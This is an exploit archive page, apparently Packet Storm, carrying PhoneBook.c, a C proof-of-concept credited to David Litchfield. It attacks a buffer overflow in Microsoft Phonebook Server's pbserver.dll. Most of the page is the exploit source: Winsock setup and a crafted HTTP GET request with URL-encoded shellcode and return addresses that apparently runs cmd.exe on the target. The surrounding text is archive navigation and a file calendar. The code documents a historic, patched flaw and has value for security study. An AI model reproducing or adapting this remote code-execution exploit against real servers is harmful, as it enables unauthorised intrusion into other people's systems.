what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PhoneBook.c

PhoneBook.c
Posted Dec 8, 2000
Authored by David Litchfield

Microsoft Phonebook Server Remote Exploit - Tests for the pbserver.dll buffer overflow.

tags | exploit, remote, overflow
SHA-256 | 03ee0782ae94986d7ad6091fa2a68ecd086f76e481828a70e1bbf11319bdf425

PhoneBook.c

Change Mirror Download
/*   A vulnerability in the PhoneBook service (a Windows NT and Windows 2000 add on component) enables attackers to execute
arbitrary code on Windows servers. We already discussed this security hole and its possible solution in details in our
previous post: Vulnerability found in Microsoft PhoneBook Server (Patch available). An exploit code has now been
released that serves as a proof of concept for this security vulnerability. */


#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <stdio.h>
struct sockaddr_in sa;
struct hostent *he;
SOCKET sock;
char hostname[256]="";
int main(int argc, char *argv[])
{
int chk=0;
if(argc !=3)
{
printf("Usage: c:\\>%s host port\nTests for the pbserver.dll buffer overrun in IIS\nDavid Litchfield (dlitchfield@atstake.com)",argv[0]);
return 0;
}


strncpy(hostname,argv[1],250);
chk = startWSOCK(hostname);
if(chk !=0)
{
printf("Winsock error");
return 0;
}
CheckWeb(atoi(argv[2]));
return 0;
}
int startWSOCK(char *swhost)
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
{
return 2;
}
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion )
!= 0 )
{
WSACleanup( );
return 3;
}
if ((he = gethostbyname(swhost)) == NULL)
{
return 4;
}
sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_family=AF_INET;
memcpy(&sa.sin_addr,he->h_addr,he->h_length);
return 0;
}
int CheckWeb(int port)
{

int snd, rcv, err, count =0,incount = 0;
/* the following line may wrap */
char *buffer="GET /pbserver/pbserver.dll?OSArch=0&OSType=2&LCID=\
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\
&OSVer=%55%8B%EC%90%90%90%90%90%bb%ff%ff%ff%ff%83\
%eb%8b%53%68%6e%2e%74%78%68%76%6f%72%75%68%20\
%70%73%72%68%69%72%20%3e%68%2f%63%20%64%90%90\
&CMVer=%68%65%78%65%20%68%63%6d%64%2e\
%B8%86%a9%f1%77%8b%dc%33%f6%56%53%ff%d0%90%90\
DDDDDDDDDDDDDDDDDDD&PBVer=&0PB=\
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
AAAA%4c%55%93%5e%cc%ccAAAAAAAAAAAA\
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
AAAAAAAAAAAAA%e4%51%93%5ennnn HTTP/1.1\r\n\
Host: 127.0.0.1\r\n\r\n";
sa.sin_port=htons(port);
sock=socket(AF_INET,SOCK_STREAM,0);
bind(sock,(struct sockaddr *)&sa,sizeof(sa));

if (sock==INVALID_SOCKET)
{
closesocket(sock);
return 0;
}
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
{

closesocket(sock);
printf("Failed to connect\n");
return 0;
}
else
{
snd = send(sock,buffer,strlen(buffer),0);
printf("Buffer sent.\n");
}

closesocket(sock);
return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close